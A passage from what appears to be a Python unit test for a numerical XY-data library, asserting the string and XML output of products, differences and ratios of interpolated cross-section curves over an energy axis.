self.assertEqual( (tXY3 * tXY4).toString( ), ' 1.00000000e+00 0.00000000e+00\n 1.00112146e+00 1.49695737e-03\n 1.00224292e+00 2.99726853e-03\n 1.00448584e+00 6.00795224e-03\n 1.00897168e+00 1.20695652e-02\n 1.01267824e+00 1.71186419e-02\n 1.01794337e+00 2.43537733e-02\n 1.02533774e+00 3.46396572e-02\n 1.03588673e+00 4.95661183e-02\n 1.04258871e+00 5.92033415e-02\n 1.05060345e+00 7.08855386e-02\n 1.06021358e+00 8.51190060e-02\n 1.07177346e+00 1.02566523e-01\n 1.08292241e+00 1.19731375e-01\n 1.09595823e+00 1.40221610e-01\n 1.10686510e+00 1.57713665e-01\n 1.11914645e+00 1.77789770e-01\n 1.13300883e+00 2.00933571e-01\n 1.14869835e+00 2.27746074e-01\n 1.17264549e+00 2.69935939e-01\n 1.20112443e+00 3.22100629e-01\n 1.23114441e+00 3.79429538e-01\n 1.24953878e+00 4.15744517e-01\n 1.26971766e+00 4.56620369e-01\n 1.29190950e+00 5.02827536e-01\n 1.31638220e+00 5.55306538e-01\n 1.31950791e+00 5.62124288e-01\n 1.34037312e+00 6.08302632e-01\n 1.36297573e+00 6.59636153e-01\n 1.38751322e+00 7.16906283e-01\n 1.41421356e+00 7.81048584e-01\n 1.44269991e+00 8.51577483e-01\n 1.47736579e+00 9.40325190e-01\n 1.51571657e+00 1.04224019e+00\n 1.54710616e+00 1.12857507e+00\n 1.58113883e+00 1.22514823e+00\n 1.62450479e+00 1.35268137e+00\n 1.67564492e+00 1.50952130e+00\n 1.73286211e+00 1.69326530e+00\n 1.74110113e+00 1.72044268e+00\n 1.80007046e+00 1.92024427e+00\n 1.86606598e+00 2.15484836e+00\n 1.89914448e+00 2.27680704e+00\n 1.94758069e+00 2.46065312e+00\n 2.00000000e+00 2.66666667e+00\n 2.08138302e+00 2.94235886e+00\n 2.14354693e+00 3.15889356e+00\n 2.28110884e+00 3.65637759e+00\n 2.29739671e+00 3.71695224e+00\n 2.37660234e+00 4.01656068e+00\n 2.46228883e+00 4.35010340e+00\n 2.50000000e+00 4.50000000e+00\n 2.54599844e+00 4.75510728e+00\n 2.59284322e+00 5.01925759e+00\n 2.63901582e+00 5.28391242e+00\n 2.64054992e+00 5.29277885e+00\n 2.68913439e+00 5.57601098e+00\n 2.73861279e+00 5.86930639e+00\n 2.78900155e+00 6.17303045e+00\n 2.82842712e+00 6.41421356e+00\n 2.84031744e+00 6.48756190e+00\n 2.89257751e+00 6.81329342e+00\n 2.94579913e+00 7.15063210e+00\n 3.00000000e+00 7.50000000e+00\n 3.03143313e+00 7.48784206e+00\n 3.24900959e+00 7.38336924e+00\n 3.26526876e+00 7.37413640e+00\n 3.48220225e+00 7.23197953e+00\n 3.55399336e+00 7.17716175e+00\n 3.73213197e+00 7.02444406e+00\n 3.86824783e+00 6.89171171e+00\n 4.00000000e+00 6.75000000e+00\n 4.21028960e+00 5.98352487e+00\n 4.23022820e+00 5.91314676e+00\n 4.35655311e+00 5.47649088e+00\n 4.47370766e+00 5.08579575e+00\n 4.58257569e+00 4.73503836e+00\n 4.73120108e+00 4.27532347e+00\n 4.86559658e+00 3.87864155e+00\n 4.98778042e+00 3.53367851e+00\n 5.00351505e+00 3.49033978e+00\n 5.15620014e+00 3.08264886e+00\n 5.29150262e+00 2.74085468e+00\n 5.42881453e+00 2.41270100e+00\n 5.51596189e+00 2.21421313e+00\n 5.59606590e+00 2.03846604e+00\n 5.68544983e+00 1.84993370e+00\n 5.76672615e+00 1.68543758e+00\n 5.84090783e+00 1.54106647e+00\n 5.90884616e+00 1.41367373e+00\n 5.91815895e+00 1.39657081e+00\n 5.97131764e+00 1.30060548e+00\n 6.02087366e+00 1.21368895e+00\n 6.11047626e+00 1.06276905e+00\n 6.18919732e+00 9.36802509e-01\n 6.25879072e+00 8.30602552e-01\n 6.30771715e+00 7.58839917e-01\n 6.35248091e+00 6.95279801e-01\n 6.39354951e+00 6.38728970e-01\n 6.43132359e+00 5.88203738e-01\n 6.48742220e+00 5.15801344e-01\n 6.53674756e+00 4.54740746e-01\n 6.58033657e+00 4.02806267e-01\n 6.61902826e+00 3.58298541e-01\n 6.65219658e+00 3.21336178e-01\n 6.68198896e+00 2.89073786e-01\n 6.70882724e+00 2.60770358e-01\n 6.73306796e+00 2.35825386e-01\n 6.75501457e+00 2.13748002e-01\n 6.77492693e+00 1.94133747e-01\n 6.80951413e+00 1.61006837e-01\n 6.84045673e+00 1.32384478e-01\n 6.86597451e+00 1.09500535e-01\n 6.88713332e+00 9.10194496e-02\n 6.90475706e+00 7.59678101e-02\n 6.92007640e+00 6.31365932e-02\n 6.93282794e+00 5.26350879e-02\n 6.94347223e+00 4.39935252e-02\n 6.95237853e+00 3.68500030e-02\n 6.96637130e+00 2.57869723e-02\n 6.97618927e+00 1.81415260e-02\n 6.98317459e+00 1.27606019e-02\n 6.98809463e+00 8.99989410e-03\n 6.99404732e+00 4.48222983e-03\n 6.99702366e+00 2.23668561e-03\n 7.00000000e+00 0.00000000e+00\n' )
self.assertEqual( (self.pXY3 * self.pXY4 - tXY3 * tXY4).toString( ), ' 1.00000000e+00 0.00000000e+00\n 1.00112146e+00 1.00049809e-05\n 1.00224292e+00 1.66561663e-05\n 1.00448584e+00 1.98971505e-05\n 1.00781250e+00 -5.14160730e-06\n 1.00897168e+00 1.02832146e-05\n 1.01267824e+00 1.91175481e-05\n 1.01562500e+00 -9.10887839e-06\n 1.01794337e+00 1.27503893e-05\n 1.02206816e+00 -1.79817980e-05\n 1.02533774e+00 2.57741133e-05\n 1.03125000e+00 -3.65514037e-05\n 1.03588673e+00 7.47289089e-06\n 1.03709549e+00 -8.85327423e-06\n 1.04258871e+00 1.09310167e-05\n 1.04408114e+00 -1.29787976e-05\n 1.05060345e+00 1.60482260e-05\n 1.05244883e+00 -1.91052757e-05\n 1.06021358e+00 2.36713073e-05\n 1.06250000e+00 -2.82707146e-05\n 1.07177346e+00 2.83797770e-05\n 1.07406870e+00 -2.70951756e-05\n 1.08292241e+00 5.94216361e-05\n 1.08795603e+00 -5.37067391e-05\n 1.09595823e+00 9.32812770e-05\n 1.10470095e+00 -2.52274290e-05\n 1.10686510e+00 5.23288897e-05\n 1.11914645e+00 1.12743281e-04\n 1.12500000e+00 -6.25067679e-05\n 1.13300883e+00 1.56976736e-04\n 1.14770917e+00 -1.93883994e-05\n 1.14869835e+00 1.59360336e-05\n 1.16078111e+00 -1.91139188e-04\n 1.17264549e+00 4.01959565e-05\n 1.17518645e+00 -8.78766189e-05\n 1.19109494e+00 -2.46718214e-04\n 1.20112443e+00 1.01367160e-04\n 1.20870461e+00 -2.26796945e-04\n 1.22824801e+00 -1.04747715e-04\n 1.23114441e+00 7.28178148e-05\n 1.24953878e+00 1.30928746e-05\n 1.25000000e+00 -1.21254811e-05\n 1.26971766e+00 3.24067973e-05\n 1.27095032e+00 -3.44472876e-05\n 1.29190950e+00 6.03576457e-05\n 1.29406933e+00 -6.42559853e-05\n 1.31638220e+00 9.74303860e-05\n 1.31950791e+00 5.06088704e-06\n 1.31965712e+00 -4.12135024e-06\n 1.34037312e+00 2.12604759e-04\n 1.34807024e+00 -1.52972553e-04\n 1.36297573e+00 3.33085950e-04\n 1.37973562e+00 -1.73802173e-04\n 1.38751322e+00 2.86793159e-04\n 1.41421356e+00 4.39186955e-05\n 1.41516893e+00 -3.50695179e-05\n 1.44269991e+00 4.51469433e-04\n 1.45499885e+00 -3.66786420e-04\n 1.47736579e+00 6.75010568e-04\n 1.50000000e+00 -4.74309372e-04\n 1.51571657e+00 5.09556329e-04\n 1.54003277e+00 -2.29330534e-04\n 1.54710616e+00 3.52854919e-04\n 1.58113883e+00 1.85304872e-04\n 1.58451981e+00 -1.80251106e-04\n 1.62450479e+00 5.15857669e-04\n 1.63418076e+00 -5.34940938e-04\n 1.67564492e+00 7.87986653e-04\n 1.68989795e+00 -8.16492681e-04\n 1.73286211e+00 1.14015785e-03\n 1.74110113e+00 7.96314877e-04\n 1.75276517e+00 -7.35694674e-04\n 1.80007046e+00 1.51910798e-03\n 1.82415510e+00 -1.34587810e-03\n 1.86357392e+00 -2.11006421e-04\n 1.86606598e+00 1.32073990e-04\n 1.89914448e+00 3.16333318e-04\n 1.90581432e+00 -3.71433287e-04\n 1.94758069e+00 2.00184886e-04\n 1.95117541e+00 -2.34014744e-04\n 2.00000000e+00 0.00000000e+00\n 2.08138302e+00 1.11646461e-03\n 2.10196098e+00 -5.70502702e-04\n 2.14354693e+00 2.04978030e-03\n 2.21748226e+00 -3.13616841e-03\n 2.28110884e+00 2.88389872e-03\n 2.29739671e+00 2.75439508e-03\n 2.34909690e+00 -9.48024202e-04\n 2.37660234e+00 2.26273755e-03\n 2.46228883e+00 2.84573348e-03\n 2.50000000e+00 0.00000000e+00\n 2.54599844e+00 2.59685347e-03\n 2.59284322e+00 8.92266779e-04\n 2.60245369e+00 -3.51379168e-04\n 2.63901582e+00 2.89681817e-03\n 2.64054992e+00 2.95992149e-03\n 2.68913439e+00 2.52340041e-03\n 2.71824584e+00 -5.92911357e-04\n 2.73861279e+00 2.26386193e-03\n 2.78900155e+00 4.29946635e-03\n 2.82842712e+00 2.35119831e-03\n 2.84031744e+00 1.15345985e-03\n 2.84976649e+00 -4.04523224e-04\n 2.89257751e+00 4.59886693e-03\n 2.94579913e+00 5.20505270e-03\n 3.00000000e+00 0.00000000e+00\n 3.03143313e+00 -2.68388369e-03\n 3.24900959e+00 -9.44427823e-04\n 3.25912355e+00 2.33071619e-05\n 3.26526876e+00 -5.71270018e-04\n 3.48220225e+00 -2.59034246e-03\n 3.51316702e+00 4.74066757e-04\n 3.55399336e+00 -3.16289257e-03\n 3.73213197e+00 -2.33633124e-03\n 3.76058500e+00 1.14875023e-03\n 3.86824783e+00 -5.31930437e-03\n 4.00000000e+00 0.00000000e+00\n 4.15485616e+00 -4.29210450e-03\n 4.21028960e+00 2.40103511e-03\n 4.23022820e+00 2.51324602e-03\n 4.29691728e+00 -1.98852944e-03\n 4.35655311e+00 2.12103269e-03\n 4.42768594e+00 -1.63682745e-03\n 4.47370766e+00 1.71961755e-03\n 4.54843835e+00 -1.27555360e-03\n 4.58257569e+00 1.32606101e-03\n 4.66026546e+00 -2.75548566e-03\n 4.73120108e+00 1.16704299e-03\n 4.76410537e+00 -1.66974814e-03\n 4.86076920e+00 -3.12737461e-04\n 4.86559658e+00 2.06045528e-04\n 4.95096189e+00 -1.57151246e-03\n 4.98778042e+00 2.32951047e-03\n 5.00351505e+00 2.91158950e-03\n 5.11432055e+00 -2.32024428e-03\n 5.15620014e+00 2.13719549e-03\n 5.25826396e+00 -1.69623226e-03\n 5.29150262e+00 1.57017213e-03\n 5.38598130e+00 -2.02341342e-03\n 5.42881453e+00 1.52455189e-03\n 5.50000000e+00 -5.68127499e-04\n 5.51596189e+00 4.57108651e-04\n 5.57323688e+00 -6.53766001e-04\n 5.59606590e+00 5.16079865e-04\n 5.64127852e+00 -9.98550267e-04\n 5.68544983e+00 4.23808152e-04\n 5.70463912e+00 -5.95703060e-04\n 5.76376735e+00 -1.15863155e-04\n 5.76672615e+00 1.54044441e-04\n 5.84090783e+00 1.15496337e-03\n 5.87085224e+00 -5.68852839e-04\n 5.90884616e+00 1.06966016e-03\n 5.91815895e+00 1.11156870e-03\n 5.96515308e+00 -1.44849038e-04\n 5.97131764e+00 2.38603060e-04\n 6.02087366e+00 7.76054162e-04\n 6.04872887e+00 -8.59993172e-04\n 6.11047626e+00 3.93455347e-04\n 6.12322029e+00 -4.20406652e-04\n 6.18919732e+00 2.48577400e-05\n 6.18995084e+00 -2.59363590e-05\n 6.25000000e+00 -2.67249824e-04\n 6.25879072e+00 2.58056091e-04\n 6.30771715e+00 2.82368829e-04\n 6.31750172e+00 -1.71128244e-04\n 6.35248091e+00 4.33142044e-04\n 6.37724661e+00 -2.01876315e-04\n 6.39354951e+00 3.00356901e-04\n 6.43039656e+00 -1.70790961e-05\n 6.43132359e+00 2.15862962e-05\n 6.47789464e+00 -2.21854326e-04\n 6.48742220e+00 1.57643615e-04\n 6.52051432e+00 -2.68596059e-04\n 6.53674756e+00 1.79770546e-04\n 6.55889601e+00 -2.37437647e-04\n 6.58033657e+00 1.41914567e-04\n 6.59357452e+00 -1.68477655e-04\n 6.61902826e+00 7.60015695e-05\n 6.62500000e+00 -8.12054794e-05\n 6.65219658e+00 7.38578256e-05\n 6.65762798e+00 -6.61571899e-05\n 6.68198896e+00 6.03435559e-05\n 6.68694308e+00 -5.42083268e-05\n 6.70882724e+00 4.95714643e-05\n 6.71335759e+00 -4.46474472e-05\n 6.73306796e+00 4.09222706e-05\n 6.73722032e+00 -3.69440630e-05\n 6.75501457e+00 3.39315962e-05\n 6.75882834e+00 -3.06981604e-05\n 6.77492693e+00 2.82474640e-05\n 6.77843624e+00 -5.45309700e-05\n 6.80951413e+00 4.63972898e-05\n 6.81250000e+00 -4.17376021e-05\n 6.84045673e+00 3.48319312e-05\n 6.84294858e+00 -2.86885321e-05\n 6.86597451e+00 2.40787223e-05\n 6.86806595e+00 -1.99391721e-05\n 6.88713332e+00 1.68137969e-05\n 6.88889694e+00 -1.39856096e-05\n 6.90475706e+00 1.18390692e-05\n 6.90625000e+00 -1.03209607e-05\n 6.92007640e+00 9.54152229e-05\n 6.93282794e+00 1.39580650e-05\n 6.93387829e+00 -5.03849390e-06\n 6.94347223e+00 4.63040501e-05\n 6.95237853e+00 6.90491794e-06\n 6.95312500e+00 -4.94396717e-06\n 6.96637130e+00 6.74978512e-05\n 6.97618927e+00 4.30418314e-06\n 6.97656250e+00 -1.23392881e-06\n 6.98317459e+00 5.56255816e-05\n 6.98809463e+00 6.86471378e-05\n 6.99404732e+00 5.20407892e-05\n 6.99702366e+00 3.04496997e-05\n 7.00000000e+00 0.00000000e+00\n' )
r = self.pXY3 * self.pXY4 / ( tXY3 * tXY4 )
self.assertEqual( r.toXML( indent = ' ', pairsPerLine = 5 ), ' <XYs length="215">\n <axes>\n <axis index="0" label="energy_in" unit="eV" interpolation="lin-lin"/>\n <axis index="1" label="crossSection" unit=""/></axes>\n <data> 1 1.00668354431791 1.00112146035213 1.00668354431791 1.00224292070426 1.00555711512717 1.00448584140852 1.00331180237127 1.0078125 0.999510471766564\n 1.00897168281704 1.00085199544682 1.01267824359083 1.00111676780327 1.015625 0.999569685643884 1.01794336563407 1.00052354881939 1.02206816450916 0.999402430112613\n 1.02533774173737 1.00074406375236 1.03125 0.99915007214283 1.03588673126815 1.00015076611082 1.03709548541904 0.999827435909192 1.04258870806098 1.00018463513102\n 1.04408114029402 0.999788545560657 1.05060344526291 1.00022639633327 1.05244883114563 0.999740483457052 1.06021357938331 1.00027809661291 1.0625 0.999680809138963\n 1.07177346253629 1.00027669629492 1.07406870367714 0.9997446266895 1.08292240595953 1.00049629126927 1.08795603208456 0.999579244013996 1.09595822638522 1.00066524180494\n 1.10470094808518 0.99983644347414 1.10686509929378 1.00033179680221 1.11914645080922 1.00063413817904 1.125 0.999666741669274 1.13300882924296 1.00078123698238\n 1.14770917415658 0.999914231730601 1.14869835499703 1.00006997281366 1.16078110542007 0.999232475582149 1.1726454894629 1.00014890924344 1.17518645301135 0.999679971764221\n 1.19109493916226 0.999187704604619 1.20112443398143 1.00031470649328 1.20870461334278 0.999326165110924 1.22824801122864 0.999719849716428 1.23114441334492 1.00019191393284\n 1.24953878347605 1.00003149259721 1.25 0.999970899692202 1.26971766048275 1.00007097098476 1.27095031675892 0.999924982000874 1.29190949751412 1.00012003647645\n 1.29406932593601 0.999873377003641 1.31638220433424 1.00017545333848 1.31950791077289 1.00000900314601 1.31965711975226 0.999992672562592 1.34037311615913 1.00034950491396\n 1.34807023901482 0.999755550479247 1.36297573253887 1.00050495405431 1.37973562459275 0.999751268258853 1.38751321824038 1.00040004274691 1.41421356237309 1.00005623042722\n 1.41516892756513 0.999955235010117 1.44269990590721 1.00053015661161 1.45499885404707 0.999584643383768 1.47736579242164 1.00071784801211 1.5 0.999525915490972\n 1.5157165665104 1.00048890489313 1.54003277111879 0.999793232031461 1.54710615709339 1.00031265524825 1.58113883008419 1.00015125098185 1.5845198074299 0.999854058464932\n 1.62450479271247 1.00038135933572 1.63418075605966 0.999613022377744 1.67564491718044 1.00052201095484 1.68989794855664 0.999475023125493 1.73286210788787 1.00067334861732\n 1.74110112659225 1.00046285464128 1.7527651713035 0.999581982905061 1.80007046024039 1.00079110142512 1.82415510296892 0.999329027412814 1.8635739169048 0.999901674063664\n 1.86606598307361 1.00006129154699 1.89914448233093 1.00013893725393 1.90581432257351 0.999838656215839 1.94758068503881 1.00008135437074 1.95117541188947 0.999905440212956\n 2 1 2.08138301850468 1.00037944542616 2.10196098363072 0.999810718133661 2.14354692507259 1.00064889185447 2.21748225867393 0.999084671414527\n 2.2811088413887 1.00078873109929 2.29739670999407 1.0007410359095 2.34909690379139 0.999757694535185 2.37660233847416 1.000563352014 2.46228882668983 1.00065417605575\n 2.5 1 2.54599844036756 1.00054611879802 2.59284322334162 1.00017776867638 2.60245369082114 0.999930753766937 2.63901582154579 1.00054823356961\n 2.64054992109815 1.00055923770341 2.68913439233143 1.00045254581058 2.71824583655185 0.99989685944299 2.73861278752583 1.00038571200322 2.78900155432457 1.00069649200506\n 2.82842712474619 1.0003665606524 2.84031744299722 1.00017779558364 2.84976648596235 0.999938207302451 2.89257751200788 1.00067498442361 2.94579913368574 1.0007279150467\n 3 1 3.0314331330208 0.999641567801692 3.24900958542494 0.999872087147169 3.25912355027679 1.00000315916827 3.26526875967051 0.999922530586994\n 3.4822022531845 0.999641821100971 3.51316701949486 1.00006576646539 3.55399335762673 0.999559311511263 3.73213196614723 0.999667399836153 3.76058499822597 1.00016418461645\n 3.86824782757836 0.999228159186265 4 1 4.1548561593768 0.999306110301353 4.21028959535164 1.00040127435898 4.23022820135301 1.00042502683004\n 4.29691728011311 0.999650068734444 4.35655311486348 1.00038729776677 4.42768593951169 0.999687584956666 4.47370765888058 1.00033812162954 4.54843835433528 0.999736729148818\n 4.58257569495584 1.00028005285456 4.66026546142249 0.999386952621817 4.73120107580139 1.0002729718574 4.76410536511896 0.999600366931553 4.86076919655937 0.999919664450716\n 4.86559657939181 1.0000531231168 4.95096189432334 0.999567984365945 4.98778041852156 1.0006592310144 5.00351505428169 1.00083418511812 5.11432055114385 0.999273669225814\n 5.15620013920406 1.00069329838888 5.25826396487047 0.999399525640673 5.29150262212918 1.00057287682765 5.38598129622604 0.999195482854598 5.42881452689825 1.00063188596298\n 5.5 0.999747562630253 5.51596189429635 1.00020644293232 5.5732368821658 0.999686976521419 5.59606590491607 1.00025317069514 5.64127851613973 0.999486104989911\n 5.68544983205959 1.0002290936983 5.70463912464279 0.999671081502426 5.76376734554662 0.999931499717169 5.76672615131698 1.00009139729789 5.84090782554842 1.00074945720742\n 5.87085224304475 0.999616912702979 5.90884615890877 1.00075665277794 5.9181589519015 1.00079592720309 5.96515307716505 0.999889574391638 5.97131763655108 1.00018345537125\n 6.02087365942282 1.00063941767095 6.04872886591051 0.999262929371427 6.11047625752197 1.00037021716649 6.12322028885515 0.999596684457689 6.18919731619399 1.00002653466416\n 6.18995084332182 0.99997227992697 6.25 0.999683359760273 6.25879072460587 1.00031068540633 6.30771714528469 1.00037210592532 6.3175017189294 0.999770281252257\n 6.35248091171807 1.00062297515784 6.3772466086523 0.999694671673299 6.3935495066361 1.00047024155039 6.43039656311088 0.999971025059211 6.4313235894613 1.00003669867225\n 6.47789464147778 0.999579899226441 6.48742220491392 1.00030562854549 6.52051432037161 0.999434339447555 6.53674755629506 1.00039532535321 6.55889601109599 0.999445694751864\n 6.5803365720297 1.00035231469484 6.59357452486162 0.999565306921687 6.6190282573986 1.0002121179986 6.625 0.999769068866862 6.65219657720945 1.00022984597056\n 6.65762798315705 0.999790279750476 6.68198896465781 1.00020874793527 6.68694307998582 0.999809024215276 6.70882724018998 1.00019009623894 6.71335759125661 0.999825669719921\n 6.73306796097049 1.00017352784313 6.73722032048298 0.999840516569379 6.75501457113419 1.00015874579368 6.75882834186989 0.999853812245619 6.77492692908429 1.00014550517076\n 6.77843623876513 0.999714157224784 6.8095141286993 1.00028816968688 6.8125 0.999736246716249 6.84045673218617 1.00026311189778 6.84294857787223 0.99977957303408\n 6.86597450780166 1.00021989593226 6.86806595187316 0.999814818671899 6.88713332482796 1.00018472751648 6.88889694448429 0.999843759287124 6.90475706434965 1.00015584323363\n 6.90625 0.999861866616017 6.92007639727403 1.00151125073631 6.93282793990062 1.00026518555593 6.93387828955896 0.999902698645992 6.94347222593892 1.00105251965923\n 6.95237853217482 1.00018737903336 6.953125 0.999863651660681 6.96637129675557 1.0026175175014 6.97618926608741 1.0002372558486 6.9765625 0.999930887889438\n 6.98317459372664 1.00435916599188 6.98809463304371 1.00762754951186 6.99404731652185 1.0116104687177 6.99702365826093 1.01361375937378 7 1.01361375937378</data></XYs>' )
rm1 = self.pXY3 * self.pXY4 / ( tXY3 * tXY4 ) - 1
self.assertEqual( rm1.toString( ), ' 1.00000000e+00 6.68354432e-03\n 1.00112146e+00 6.68354432e-03\n 1.00224292e+00 5.55711513e-03\n 1.00448584e+00 3.31180237e-03\n 1.00781250e+00 -4.89528233e-04\n 1.00897168e+00 8.51995447e-04\n 1.01267824e+00 1.11676780e-03\n 1.01562500e+00 -4.30314356e-04\n 1.01794337e+00 5.23548819e-04\n 1.02206816e+00 -5.97569887e-04\n 1.02533774e+00 7.44063752e-04\n 1.03125000e+00 -8.49927857e-04\n 1.03588673e+00 1.50766111e-04\n 1.03709549e+00 -1.72564091e-04\n 1.04258871e+00 1.84635131e-04\n 1.04408114e+00 -2.11454439e-04\n 1.05060345e+00 2.26396333e-04\n 1.05244883e+00 -2.59516543e-04\n 1.06021358e+00 2.78096613e-04\n 1.06250000e+00 -3.19190861e-04\n 1.07177346e+00 2.76696295e-04\n 1.07406870e+00 -2.55373310e-04\n 1.08292241e+00 4.96291269e-04\n 1.08795603e+00 -4.20755986e-04\n 1.09595823e+00 6.65241805e-04\n 1.10470095e+00 -1.63556526e-04\n 1.10686510e+00 3.31796802e-04\n 1.11914645e+00 6.34138179e-04\n 1.12500000e+00 -3.33258331e-04\n 1.13300883e+00 7.81236982e-04\n 1.14770917e+00 -8.57682694e-05\n 1.14869835e+00 6.99728137e-05\n 1.16078111e+00 -7.67524418e-04\n 1.17264549e+00 1.48909243e-04\n 1.17518645e+00 -3.20028236e-04\n 1.19109494e+00 -8.12295395e-04\n 1.20112443e+00 3.14706493e-04\n 1.20870461e+00 -6.73834889e-04\n 1.22824801e+00 -2.80150284e-04\n 1.23114441e+00 1.91913933e-04\n 1.24953878e+00 3.14925972e-05\n 1.25000000e+00 -2.91003078e-05\n 1.26971766e+00 7.09709848e-05\n 1.27095032e+00 -7.50179991e-05\n 1.29190950e+00 1.20036476e-04\n 1.29406933e+00 -1.26622996e-04\n 1.31638220e+00 1.75453338e-04\n 1.31950791e+00 9.00314601e-06\n 1.31965712e+00 -7.32743741e-06\n 1.34037312e+00 3.49504914e-04\n 1.34807024e+00 -2.44449521e-04\n 1.36297573e+00 5.04954054e-04\n 1.37973562e+00 -2.48731741e-04\n 1.38751322e+00 4.00042747e-04\n 1.41421356e+00 5.62304272e-05\n 1.41516893e+00 -4.47649899e-05\n 1.44269991e+00 5.30156612e-04\n 1.45499885e+00 -4.15356616e-04\n 1.47736579e+00 7.17848012e-04\n 1.50000000e+00 -4.74084509e-04\n 1.51571657e+00 4.88904893e-04\n 1.54003277e+00 -2.06767969e-04\n 1.54710616e+00 3.12655248e-04\n 1.58113883e+00 1.51250982e-04\n 1.58451981e+00 -1.45941535e-04\n 1.62450479e+00 3.81359336e-04\n 1.63418076e+00 -3.86977622e-04\n 1.67564492e+00 5.22010955e-04\n 1.68989795e+00 -5.24976875e-04\n 1.73286211e+00 6.73348617e-04\n 1.74110113e+00 4.62854641e-04\n 1.75276517e+00 -4.18017095e-04\n 1.80007046e+00 7.91101425e-04\n 1.82415510e+00 -6.70972587e-04\n 1.86357392e+00 -9.83259363e-05\n 1.86606598e+00 6.12915470e-05\n 1.89914448e+00 1.38937254e-04\n 1.90581432e+00 -1.61343784e-04\n 1.94758069e+00 8.13543707e-05\n 1.95117541e+00 -9.45597870e-05\n 2.00000000e+00 0.00000000e+00\n 2.08138302e+00 3.79445426e-04\n 2.10196098e+00 -1.89281866e-04\n 2.14354693e+00 6.48891854e-04\n 2.21748226e+00 -9.15328585e-04\n 2.28110884e+00 7.88731099e-04\n 2.29739671e+00 7.41035909e-04\n 2.34909690e+00 -2.42305465e-04\n 2.37660234e+00 5.63352014e-04\n 2.46228883e+00 6.54176056e-04\n 2.50000000e+00 0.00000000e+00\n 2.54599844e+00 5.46118798e-04\n 2.59284322e+00 1.77768676e-04\n 2.60245369e+00 -6.92462331e-05\n 2.63901582e+00 5.48233570e-04\n 2.64054992e+00 5.59237703e-04\n 2.68913439e+00 4.52545811e-04\n 2.71824584e+00 -1.03140557e-04\n 2.73861279e+00 3.85712003e-04\n 2.78900155e+00 6.96492005e-04\n 2.82842712e+00 3.66560652e-04\n 2.84031744e+00 1.77795584e-04\n 2.84976649e+00 -6.17926975e-05\n 2.89257751e+00 6.74984424e-04\n 2.94579913e+00 7.27915047e-04\n 3.00000000e+00 0.00000000e+00\n 3.03143313e+00 -3.58432198e-04\n 3.24900959e+00 -1.27912853e-04\n 3.25912355e+00 3.15916827e-06\n 3.26526876e+00 -7.74694130e-05\n 3.48220225e+00 -3.58178899e-04\n 3.51316702e+00 6.57664654e-05\n 3.55399336e+00 -4.40688489e-04\n 3.73213197e+00 -3.32600164e-04\n 3.76058500e+00 1.64184616e-04\n 3.86824783e+00 -7.71840814e-04\n 4.00000000e+00 0.00000000e+00\n 4.15485616e+00 -6.93889699e-04\n 4.21028960e+00 4.01274359e-04\n 4.23022820e+00 4.25026830e-04\n 4.29691728e+00 -3.49931266e-04\n 4.35655311e+00 3.87297767e-04\n 4.42768594e+00 -3.12415043e-04\n 4.47370766e+00 3.38121630e-04\n 4.54843835e+00 -2.63270851e-04\n 4.58257569e+00 2.80052855e-04\n 4.66026546e+00 -6.13047378e-04\n 4.73120108e+00 2.72971857e-04\n 4.76410537e+00 -3.99633068e-04\n 4.86076920e+00 -8.03355493e-05\n 4.86559658e+00 5.31231168e-05\n 4.95096189e+00 -4.32015634e-04\n 4.98778042e+00 6.59231014e-04\n 5.00351505e+00 8.34185118e-04\n 5.11432055e+00 -7.26330774e-04\n 5.15620014e+00 6.93298389e-04\n 5.25826396e+00 -6.00474359e-04\n 5.29150262e+00 5.72876828e-04\n 5.38598130e+00 -8.04517145e-04\n 5.42881453e+00 6.31885963e-04\n 5.50000000e+00 -2.52437370e-04\n 5.51596189e+00 2.06442932e-04\n 5.57323688e+00 -3.13023479e-04\n 5.59606590e+00 2.53170695e-04\n 5.64127852e+00 -5.13895010e-04\n 5.68544983e+00 2.29093698e-04\n 5.70463912e+00 -3.28918498e-04\n 5.76376735e+00 -6.85002828e-05\n 5.76672615e+00 9.13972979e-05\n 5.84090783e+00 7.49457207e-04\n 5.87085224e+00 -3.83087297e-04\n 5.90884616e+00 7.56652778e-04\n 5.91815895e+00 7.95927203e-04\n 5.96515308e+00 -1.10425608e-04\n 5.97131764e+00 1.83455371e-04\n 6.02087366e+00 6.39417671e-04\n 6.04872887e+00 -7.37070629e-04\n 6.11047626e+00 3.70217166e-04\n 6.12322029e+00 -4.03315542e-04\n 6.18919732e+00 2.65346642e-05\n 6.18995084e+00 -2.77200730e-05\n 6.25000000e+00 -3.16640240e-04\n 6.25879072e+00 3.10685406e-04\n 6.30771715e+00 3.72105925e-04\n 6.31750172e+00 -2.29718748e-04\n 6.35248091e+00 6.22975158e-04\n 6.37724661e+00 -3.05328327e-04\n 6.39354951e+00 4.70241550e-04\n 6.43039656e+00 -2.89749408e-05\n 6.43132359e+00 3.66986723e-05\n 6.47789464e+00 -4.20100774e-04\n 6.48742220e+00 3.05628545e-04\n 6.52051432e+00 -5.65660552e-04\n 6.53674756e+00 3.95325353e-04\n 6.55889601e+00 -5.54305248e-04\n 6.58033657e+00 3.52314695e-04\n 6.59357452e+00 -4.34693078e-04\n 6.61902826e+00 2.12117999e-04\n 6.62500000e+00 -2.30931133e-04\n 6.65219658e+00 2.29845971e-04\n 6.65762798e+00 -2.09720250e-04\n 6.68198896e+00 2.08747935e-04\n 6.68694308e+00 -1.90975785e-04\n 6.70882724e+00 1.90096239e-04\n 6.71335759e+00 -1.74330280e-04\n 6.73306796e+00 1.73527843e-04\n 6.73722032e+00 -1.59483431e-04\n 6.75501457e+00 1.58745794e-04\n 6.75882834e+00 -1.46187754e-04\n 6.77492693e+00 1.45505171e-04\n 6.77843624e+00 -2.85842775e-04\n 6.80951413e+00 2.88169687e-04\n 6.81250000e+00 -2.63753284e-04\n 6.84045673e+00 2.63111898e-04\n 6.84294858e+00 -2.20426966e-04\n 6.86597451e+00 2.19895932e-04\n 6.86806595e+00 -1.85181328e-04\n 6.88713332e+00 1.84727516e-04\n 6.88889694e+00 -1.56240713e-04\n 6.90475706e+00 1.55843234e-04\n 6.90625000e+00 -1.38133384e-04\n 6.92007640e+00 1.51125074e-03\n 6.93282794e+00 2.65185556e-04\n 6.93387829e+00 -9.73013540e-05\n 6.94347223e+00 1.05251966e-03\n 6.95237853e+00 1.87379033e-04\n 6.95312500e+00 -1.36348339e-04\n 6.96637130e+00 2.61751750e-03\n 6.97618927e+00 2.37255849e-04\n 6.97656250e+00 -6.91121106e-05\n 6.98317459e+00 4.35916599e-03\n 6.98809463e+00 7.62754951e-03\n 6.99404732e+00 1.16104687e-02\n 6.99702366e+00 1.36137594e-02\n 